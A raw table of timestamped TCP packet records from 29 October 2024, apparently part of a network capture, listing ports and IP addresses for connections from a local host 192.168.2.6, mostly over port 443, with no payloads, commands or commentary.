Oct 29, 2024 15:27:37.511456013 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.511511087 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.511559963 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.511579990 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.541444063 CET	49875	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.541457891 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.541472912 CET	49875	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.541480064 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.550965071 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.551004887 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.551021099 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.551028013 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.553383112 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.553383112 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.553426027 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.553457022 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.568358898 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.568409920 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.568723917 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.778188944 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.778206110 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.924824953 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:37.924865007 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:37.924938917 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.209759951 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.209778070 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.419173002 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.419203043 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.419343948 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.532535076 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.637906075 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.771946907 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.771970987 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.962555885 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.962579012 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.964787960 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.964792967 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.979218006 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.979762077 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.979777098 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:38.980319023 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:38.980324030 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.037695885 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.037736893 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.037805080 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.101491928 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.101517916 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.101726055 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.101751089 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.101799011 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.101804972 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.101875067 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.102504969 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.102524042 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.102533102 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.102539062 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.117590904 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.117619991 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.117691040 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.118618011 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.118691921 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.118782997 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.121500969 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.121515989 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.231636047 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.231679916 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.231765032 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.232796907 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.232796907 CET	49880	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.232827902 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.232836962 CET	443	49880	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.276959896 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.277008057 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.382848024 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:39.383014917 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:39.388536930 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.388891935 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.388905048 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.388912916 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.388925076 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.419586897 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.419608116 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.419678926 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.475275040 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.475308895 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.513046980 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.639945984 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.711291075 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.711301088 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.712985992 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.712994099 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.766196012 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.766345978 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.766361952 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.766403913 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.766417980 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:39.766429901 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.766443968 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.766478062 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:39.766499996 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:39.767096043 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.767148018 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.767163038 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.767199039 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:39.767467022 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:39.767510891 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:39.836605072 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.836679935 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.836750031 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.850146055 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.861139059 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.925301075 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.925301075 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.978532076 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.978547096 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.978564024 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.978580952 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.980093002 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.980108023 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.980567932 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.980575085 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.980911970 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.980917931 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:39.981615067 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:39.981621027 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.083170891 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.101119041 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.101217031 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.101969957 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.101985931 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.102027893 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:40.102102041 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:40.104897976 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.105127096 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.105186939 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.105205059 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.105247974 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.105288029 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.105596066 CET	49890	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.105616093 CET	443	49890	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.108213902 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.108525038 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.108592033 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.111794949 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.111810923 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.111845016 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.111852884 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.120918036 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.120950937 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.121082067 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.121248007 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.121262074 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.133939981 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.133997917 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.134277105 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.152529001 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.152570963 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.165133953 CET	49895	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.165158987 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.165266037 CET	49895	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.165544033 CET	49895	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.165559053 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.203213930 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.238245010 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.238325119 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.238491058 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.273518085 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.273554087 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.274597883 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.274610996 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.276469946 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.276484966 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.276499033 CET	49891	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.276504993 CET	443	49891	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.290623903 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.290653944 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.291033030 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.302149057 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.302167892 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.387449980 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:40.387548923 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:40.397727966 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.397735119 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.397744894 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.397748947 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.398008108 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.403132915 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.403158903 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.403211117 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.403225899 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.403264046 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.438380957 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.438415051 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.438453913 CET	49892	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.438467026 CET	443	49892	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.476794958 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.476823092 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.477060080 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.480465889 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:40.480488062 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:40.480654001 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:40.481015921 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:40.481025934 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:40.489063978 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.489083052 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.749398947 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.749408960 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.749417067 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.749488115 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:40.749519110 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.749531031 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.749536991 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.749622107 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:40.750191927 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.750200987 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.750214100 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.750262022 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:40.750658035 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.750736952 CET	443	49708	40.126.31.67	192.168.2.6
Oct 29, 2024 15:27:40.750770092 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:40.871243954 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.892658949 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.908337116 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.908359051 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.908855915 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.908862114 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.910856009 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.910898924 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.911283970 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.911295891 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.929986000 CET	49708	443	192.168.2.6	40.126.31.67
Oct 29, 2024 15:27:40.954376936 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.955594063 CET	49895	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.955614090 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:40.956056118 CET	49895	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:40.956060886 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.038167000 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.038244963 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.038386106 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.041409969 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.041484118 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.041547060 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.042435884 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.042447090 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.042459011 CET	49893	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.042463064 CET	443	49893	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.055551052 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.055558920 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.055569887 CET	49894	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.055574894 CET	443	49894	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.072108984 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.072139025 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.072530985 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.085954905 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.085971117 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.090308905 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.090362072 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.090763092 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.092125893 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.092262030 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.092366934 CET	49895	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.092387915 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.092637062 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.092657089 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.145577908 CET	49895	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.145596981 CET	443	49895	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.148649931 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.148672104 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.149282932 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.149288893 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.197557926 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.197577000 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.197745085 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.215092897 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.215112925 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.217622042 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.217997074 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.218012094 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.218842030 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.218848944 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.291706085 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.291943073 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.292052984 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.343605042 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.347580910 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.347645998 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.347743988 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.367527962 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.367552996 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.368112087 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.368125916 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.368285894 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.368294954 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.368380070 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.368891954 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.372008085 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.372071981 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.372242928 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.372248888 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.383616924 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.383616924 CET	49896	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.383637905 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.383647919 CET	443	49896	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.428620100 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.571332932 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.571353912 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.574683905 CET	49901	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.574691057 CET	443	49901	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.618355989 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.618402004 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.618485928 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.618503094 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.622488976 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.622558117 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.622565985 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.631261110 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.631357908 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.631366014 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.639930964 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.640024900 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.640032053 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.648597956 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.648659945 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.648665905 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.657751083 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.657820940 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.657829046 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.666309118 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.666361094 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.666367054 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.718132973 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:41.718146086 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:41.718389034 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:41.719687939 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:41.719698906 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:41.725383997 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.725399017 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.725573063 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.726695061 CET	49926	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.726715088 CET	443	49926	13.107.246.45	192.168.2.6
